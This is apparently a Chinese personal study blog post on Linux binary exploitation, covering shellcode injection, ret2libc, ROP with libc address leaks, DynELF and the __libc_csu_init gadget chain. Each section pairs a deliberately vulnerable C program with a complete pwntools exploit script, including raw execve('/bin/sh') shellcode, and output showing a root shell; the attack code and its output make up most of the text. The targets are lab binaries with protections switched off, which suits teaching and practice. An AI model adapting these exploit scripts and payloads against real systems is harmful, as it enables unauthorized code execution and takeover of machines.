持续更新,未完待续
先放几条常用命令: 编译选项:
1 gcc -fno-stack-protector -z execstack -no-pie -o vul 1.c
开启core dump:
1 2 ulimit -c unlimitedsudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
远程监听:
1 socat TCP4-LISTEN:10001,fork EXEC:./level1
搜索gadget:
1 2 3 4 5 6 ROPgadget --binary libc.so.6 --only "pop|call" | grep rdi ROPgadget --console binary file load search pop pop pop ret
Control Flow Hijack 实验环境 Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: No NX found
PIE: Enable
ASLR: 0
漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> void flow () { char buf[128 ]; read(STDIN_FILENO,buf,256 ); } int main () { flow(); char a[]="hello" ; write(STDOUT_FILENO,a,strlen (a)); return 0 ; }
利用代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode += "\x0b\xcd\x80" retAddr = 0xbffff300 payload = shellcode+(140 -len(shellcode))*'a' +p32(retAddr) p = process('./vul' ) p.send(payload) p.interactive()
结果 1 2 3 4 5 6 7 root@kali:~/rop/linux32 [!] Pwntools does not support 32-bit Python. Use a 64-bit release. [+] Starting local process './vul' : pid 4860 [*] Switching to interactive mode $ id uid=0(root) gid=0(root) groups=0(root) $
Ret2libc – Bypass DEP 还是上面那个程序,编译时去掉执行栈选项,可以使用cat /proc/[pid]/maps
查看内存情况,它已经没有执行权限了,那就用其他方法咯。
实验环境 Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: Enable
PIE: Enable
ASLR: 0
查找’\bin\sh’ 1 2 3 4 5 6 7 8 9 gdb-peda$ p system $1 = {<text variable, no debug info>} 0xb7e37b30 <__libc_system>gdb-peda$ searchmem '/bin/sh' /lib/i386-linux-gnu/libc-2.24.so Searching for '/bin/sh' in : /lib/i386-linux-gnu/libc-2.24.so ranges Found 1 results, display max 1 items: libc : 0xb7f59dc8 ("/bin/sh" )
利用代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *sh = 0xb7f59dc8 system = 0xb7e37b30 ret = 0x80000642 payload = 'a' *140 +p32(system)+p32(ret)+p32(sh) p = process('./level2' ) p.send(payload) p.interactive()
结果 1 2 3 4 5 6 7 root@kali:~/rop/linux32 [!] Pwntools does not support 32-bit Python. Use a 64-bit release. [+] Starting local process './level2' : pid 5054 [*] Switching to interactive mode $ id uid=0(root) gid=0(root) groups=0(root) $
ROP– Bypass DEP and ASLR 此处有坑,在21世纪的17年,kali下的gcc 6.3默认开了PIE
于是算出来的位置是偏移位置并且地址会随机化,所以不能使用这种方法,下面的实验使用了-no-pie
编译选项。首先开启ASLR,然后编写利用代码。
实验环境 Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: Enable
PIE: No
ASLR: 2
利用代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *elf = ELF('./level3' ) libc = ELF('./libc.so.6' ) writePlt = elf.symbols['write' ] print 'writePlt:' +hex(writePlt)writeGot = elf.got['write' ] print 'writeGot:' +hex(writeGot)flow = elf.symbols['flow' ] p = remote('127.0.0.1' ,1234 ) payload = 'a' *140 +p32(writePlt)+p32(flow)+p32(1 )+p32(writeGot)+p32(4 ) p.send(payload) writeAddr = u32(p.recv(4 )) print "writeAddr:" +hex(writeAddr)systemAddr = writeAddr - (libc.symbols['write' ]-libc.symbols['system' ]) binAddr = writeAddr - (libc.symbols['write' ]-next(libc.search('/bin/sh' ))) payload = 'a' *140 +p32(systemAddr)+p32(flow)+p32(binAddr) p.send(payload) p.interactive()
结果 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 root@kali:~/rop/linux32 [!] Pwntools does not support 32-bit Python. Use a 64-bit release. [*] '/root/rop/linux32/level3' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [*] '/root/rop/linux32/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled writePlt:0x8048350 writeGot:0x804a018 [+] Opening connection to 127.0.0.1 on port 1234: Done writeAddr:0xb75fdcc0 [*] Switching to interactive mode $ id uid=0(root) gid=0(root) groups=0(root)
Memory Leak & DynELF 这次没有libc库文件了,使用信息泄露。
实验环境 Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: Enable
PIE: No
ASLR: 2
利用代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *elf = ELF('level3' ) writePlt = elf.plt['write' ] writeGot = elf.got['write' ] flowAddr = elf.symbols['flow' ] readPlt = elf.plt['read' ] def leak (address) : payloadLeak = 'a' *140 +p32(writePlt)+p32(flowAddr)+p32(1 )+p32(address)+p32(4 ) p.send(payloadLeak) leakAddr = p.recv(4 ) print "%#x ===> %s" %(address,(leakAddr or "" ).encode('hex' )) return leakAddr p = process('./level4' ) d = DynELF(leak,elf=elf) systemAddr = d.lookup('system' ,'libc' ) dataAddr = 0x0804a01c bssAddr = dataAddr pppr = 0x0804830a payload = 'a' *140 +p32(readPlt)+p32(pppr)+p32(0 )+p32(bssAddr)+p32(8 ) payload += p32(systemAddr)+p32(flowAddr)+p32(bssAddr) p.send(payload) gdb.attach(p) p.send('/bin/sh\0' ) p.interactive()
结果 失败了,经过调试发现对system
的调用是没有问题的,但是在system
内部调用的是execvep
,而在获取它的第三个参数时出现了错误导致此函数会执行失败,暂时没有调试发现错误原因。先暂时放下
Rop-linux-x64-simple 实验环境 Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
ASLR: 2
漏洞代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> void systemaddr () { void * handle = dlopen("libc.so.6" , RTLD_LAZY)0 ;0 printf ("%p\n" ,dlsym(handle,"system" )); fflush(stdout ); } void vulnerable_function () { char buf[128 ]; read(STDIN_FILENO, buf, 512 ); } int main (int argc, char ** argv) { systemaddr(); write(1 , "Hello, World\n" , 13 ); vulnerable_function(); }
利用代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *p=process('level1' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) systemAddr = int(p.recvline(),16 ) print hex(systemAddr)shAddr = next(libc.search('/bin/sh' ))-(libc.symbols['system' ]-systemAddr) popRdiRet = 0x00000000004007f3 payload = 'a' *136 +p64(popRdiRet)+p64(shAddr)+p64(systemAddr) p.send(payload) p.interactive()
结果 1 2 3 4 5 6 7 8 9 10 11 12 13 14 [!] Could not find executable 'level1' in $PATH , using './level1' instead [+] Starting local process './level1' : pid 3514 [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled 0x7f843ad20450 [*] Switching to interactive mode Hello, World $ id uid=0(root) gid=0(root) groups=0(root) $
__libc_csu_init 实验环境 [*] '/root/rop/linux64/level2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
ASLR: 2
漏洞代码 1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function () { char buf[128 ]; read(STDIN_FILENO, buf, 512 ); } int main (int argc, char ** argv) { write(STDOUT_FILENO, "Hello, World\n" , 13 ); vulnerable_function(); }
反汇编init 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 4005a0: 41 57 push %r15 4005a2: 41 56 push %r14 4005a4: 41 89 ff mov %edi,%r15d 4005a7: 41 55 push %r13 4005a9: 41 54 push %r12 4005ab: 4c 8d 25 56 08 20 00 lea 0x200856(%rip),%r12 # 600e08 <__frame_dummy_init_array_entry> 4005b2: 55 push %rbp 4005b3: 48 8d 2d 56 08 20 00 lea 0x200856(%rip),%rbp # 600e10 <__init_array_end> 4005ba: 53 push %rbx 4005bb: 49 89 f6 mov %rsi,%r14 ;r14 4005be: 49 89 d5 mov %rdx,%r13 4005c1: 4c 29 e5 sub %r12,%rbp 4005c4: 48 83 ec 08 sub $0x8,%rsp 4005c8: 48 c1 fd 03 sar $0x3,%rbp 4005cc: e8 2f fe ff ff callq 400400 <_init> 4005d1: 48 85 ed test %rbp,%rbp 4005d4: 74 20 je 4005f6 <__libc_csu_init+0x56> 4005d6: 31 db xor %ebx,%ebx ; 4005d8: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1) ;对齐用 4005df: 00 4005e0: 4c 89 ea mov %r13,%rdx ;r13->rdx 第二个位置起始处 4005e3: 4c 89 f6 mov %r14,%rsi ;r14->rsi 4005e6: 44 89 ff mov %r15d,%edi ;r15d->edi 4005e9: 41 ff 14 dc callq *(%r12,%rbx,8) ;[r12+rbx*8] 4005ed: 48 83 c3 01 add $0x1,%rbx ;此时rbx为1 4005f1: 48 39 dd cmp %rbx,%rbp ; 4005f4: 75 ea jne 4005e0 <__libc_csu_init+0x40>;不跳转这样就可以循环啦 4005f6: 48 83 c4 08 add $0x8,%rsp 4005fa: 5b pop %rbx ;置为0 第一个位置起始处 4005fb: 5d pop %rbp ;置为1 4005fc: 41 5c pop %r12 ;地址 4005fe: 41 5d pop %r13 ; 400600: 41 5e pop %r14 ; 400602: 41 5f pop %r15 ; 400604: c3 retq ; 跳转到第二个位置 400605: 90 nop 400606: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1) 40060d: 00 00 00
1 2 3 4 5 6 7 payload1 = 'a' *136 payload1 += p64(0x4005fa )+p64(0 )+p64(1 )+p64(writeGot)+p64(8 )+p64(rAddress)+p64(1 ) payload1 += p64(0x4005e0 )+'12345678' *7 payload1 += p64(mainAddr)
1 2 3 4 5 payload2 = 'a' *136 payload2 += p64(0x4005fa )+p64(0 )+p64(1 )+p64(readGot)+p64(8 )+p64(wAddress)+p64(0 ) payload2 += p64(0x4005e0 )+'12345678' *7 payload2 += p64(mainAddr)
1 2 3 4 5 payload3 = 'a' *136 payload3 += p64(0x4005fa )+p64(0 )+p64(1 )+p64(systemAddrPointer)+p64(0 )+p64(0 )+p64(shAddr) payload3 += p64(0x4005e0 )+'12345678' *7 payload3 += p64(mainAddr)
利用代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import *def leak (rAddress) : payload1 = 'a' *136 payload1 += p64(0x4005fa )+p64(0 )+p64(1 )+p64(writeGot)+p64(8 )+p64(rAddress)+p64(1 ) payload1 += p64(0x4005e0 )+'12345678' *7 payload1 += p64(mainAddr) p.send(payload1) p.recvuntil('Hello, World\n' ) data = p.recv(8 ) print "%#x ===> %s" %(rAddress,(data or "" ).encode('hex' )) return data def arbWrite (wAddress,data) : payload2 = 'a' *136 payload2 += p64(0x4005fa )+p64(0 )+p64(1 )+p64(readGot)+p64(8 )+p64(wAddress)+p64(0 ) payload2 += p64(0x4005e0 )+'12345678' *7 payload2 += p64(mainAddr) p.send(payload2) p.send(p64(data)) elf = ELF('level2' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) writeGot = elf.got['write' ] readGot = elf.got['read' ] mainAddr = elf.symbols['main' ] bssAddr = elf.bss() p = process('level2' ) writeAddr = u64(leak(writeGot)) print 'writeAddr =====> %#x' %(writeAddr)systemAddr = writeAddr -(libc.symbols['write' ]-libc.symbols['system' ]) print 'systemAddr =====> %#x' %(systemAddr)shAddr = writeAddr - (libc.symbols['write' ]-next(libc.search('/bin/sh' ))) print 'shAddr ======> %#x' %(shAddr)p.recvuntil('Hello, World\n' ) gdb.attach(p) arbWrite(bssAddr,systemAddr) p.recvuntil('Hello, World\n' ) systemAddrPointer = bssAddr payload3 = 'a' *136 payload3 += p64(0x4005fa )+p64(0 )+p64(1 )+p64(systemAddrPointer)+p64(0 )+p64(0 )+p64(shAddr) payload3 += p64(0x4005e0 )+'12345678' *7 payload3 += p64(mainAddr) p.send(payload3) p.interactive()
哇哈哈哈哈,这个代码不能执行成功,因为。。。。我偷懒了,直接用了libc库里面的/bin/sh
,然而,整个过程其实都是假设rdi==edi,但是当地址过高就会出错,好吧,不偷懒
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *def leak (rAddress) : payload1 = 'a' *136 payload1 += p64(0x4005fa )+p64(0 )+p64(1 )+p64(writeGot)+p64(8 )+p64(rAddress)+p64(1 ) payload1 += p64(0x4005e0 )+'12345678' *7 payload1 += p64(mainAddr) p.send(payload1) p.recvuntil('Hello, World\n' ) data = p.recv(8 ) print "%#x ===> %s" %(rAddress,(data or "" ).encode('hex' )) return data def arbWrite (wAddress,data) : payload2 = 'a' *136 payload2 += p64(0x4005fa )+p64(0 )+p64(1 )+p64(readGot)+p64(8 )+p64(wAddress)+p64(0 ) payload2 += p64(0x4005e0 )+'12345678' *7 payload2 += p64(mainAddr) p.send(payload2) sleep(2 ) p.send(data) elf = ELF('level2' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) writeGot = elf.got['write' ] readGot = elf.got['read' ] mainAddr = elf.symbols['main' ] bssAddr = elf.bss() dataAddr = elf.get_section_by_name('.data' ).header.sh_addr p = process('level2' ) writeAddr = u64(leak(writeGot)) print 'writeAddr =====> %#x' %(writeAddr)systemAddr = writeAddr -(libc.symbols['write' ]-libc.symbols['system' ]) print 'systemAddr =====> %#x' %(systemAddr)p.recvuntil('Hello, World\n' ) gdb.attach(p) arbWrite(bssAddr,p64(systemAddr)) p.recvuntil('Hello, World\n' ) arbWrite(dataAddr,'/bin/sh\0' ) p.recvuntil('Hello, World\n' ) systemAddrPointer = bssAddr shAddr = dataAddr payload3 = 'a' *136 payload3 += p64(0x4005fa )+p64(0 )+p64(1 )+p64(systemAddrPointer)+p64(0 )+p64(0 )+p64(shAddr) payload3 += p64(0x4005e0 )+'12345678' *7 payload3 += p64(mainAddr) p.send(payload3) p.interactive()
emmmm,调着调着突然想起,system只需要一个参数,完全可以使用其他的gadget,感觉智商被掏空。
结果